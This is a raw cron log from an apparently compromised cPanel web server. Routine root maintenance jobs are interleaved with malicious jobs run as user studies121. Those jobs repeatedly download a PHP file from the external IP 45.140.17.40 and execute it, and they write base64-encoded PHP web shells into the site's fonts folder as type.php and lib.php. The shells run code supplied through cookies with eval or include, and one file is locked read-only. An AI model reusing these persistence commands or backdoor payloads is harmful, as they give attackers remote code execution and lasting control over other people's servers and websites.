Sep  4 09:45:01 ip-184-168-122-23 CROND[32695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:45:01 ip-184-168-122-23 CROND[32696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:45:01 ip-184-168-122-23 CROND[32694]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:46:02 ip-184-168-122-23 CROND[381]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:46:02 ip-184-168-122-23 CROND[383]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  4 09:46:02 ip-184-168-122-23 CROND[385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:46:02 ip-184-168-122-23 CROND[384]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 09:46:02 ip-184-168-122-23 CROND[388]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:46:02 ip-184-168-122-23 CROND[386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:46:02 ip-184-168-122-23 CROND[387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:47:01 ip-184-168-122-23 CROND[560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:47:01 ip-184-168-122-23 CROND[559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:47:01 ip-184-168-122-23 CROND[561]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:47:01 ip-184-168-122-23 CROND[563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:48:01 ip-184-168-122-23 CROND[662]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:48:01 ip-184-168-122-23 CROND[663]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:48:01 ip-184-168-122-23 CROND[664]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:48:01 ip-184-168-122-23 CROND[666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:48:01 ip-184-168-122-23 CROND[665]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:49:01 ip-184-168-122-23 CROND[804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:49:01 ip-184-168-122-23 CROND[807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:49:01 ip-184-168-122-23 CROND[808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:49:01 ip-184-168-122-23 CROND[806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:50:01 ip-184-168-122-23 CROND[903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:50:01 ip-184-168-122-23 CROND[902]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 09:50:01 ip-184-168-122-23 CROND[906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:50:01 ip-184-168-122-23 CROND[907]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:50:01 ip-184-168-122-23 CROND[908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:50:01 ip-184-168-122-23 CROND[909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:50:01 ip-184-168-122-23 CROND[910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:50:01 ip-184-168-122-23 CROND[911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:50:01 ip-184-168-122-23 CROND[912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:51:01 ip-184-168-122-23 CROND[1035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:51:01 ip-184-168-122-23 CROND[1036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:51:01 ip-184-168-122-23 CROND[1037]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:51:01 ip-184-168-122-23 CROND[1039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:52:01 ip-184-168-122-23 CROND[1224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:52:01 ip-184-168-122-23 CROND[1227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:52:01 ip-184-168-122-23 CROND[1226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:52:01 ip-184-168-122-23 CROND[1228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:52:01 ip-184-168-122-23 CROND[1229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:53:01 ip-184-168-122-23 CROND[1335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:53:01 ip-184-168-122-23 CROND[1336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:53:01 ip-184-168-122-23 CROND[1337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:53:01 ip-184-168-122-23 CROND[1338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:54:02 ip-184-168-122-23 CROND[1461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:54:02 ip-184-168-122-23 CROND[1463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:54:02 ip-184-168-122-23 CROND[1460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:54:02 ip-184-168-122-23 CROND[1462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:54:02 ip-184-168-122-23 CROND[1464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:55:02 ip-184-168-122-23 CROND[1582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:55:02 ip-184-168-122-23 CROND[1583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:55:02 ip-184-168-122-23 CROND[1585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:55:02 ip-184-168-122-23 CROND[1581]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:55:02 ip-184-168-122-23 CROND[1580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:55:02 ip-184-168-122-23 CROND[1584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:56:02 ip-184-168-122-23 CROND[1697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:56:02 ip-184-168-122-23 CROND[1700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:56:02 ip-184-168-122-23 CROND[1699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:56:02 ip-184-168-122-23 CROND[1702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:56:02 ip-184-168-122-23 CROND[1701]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:57:01 ip-184-168-122-23 CROND[1838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:57:01 ip-184-168-122-23 CROND[1837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:57:01 ip-184-168-122-23 CROND[1839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:57:01 ip-184-168-122-23 CROND[1840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
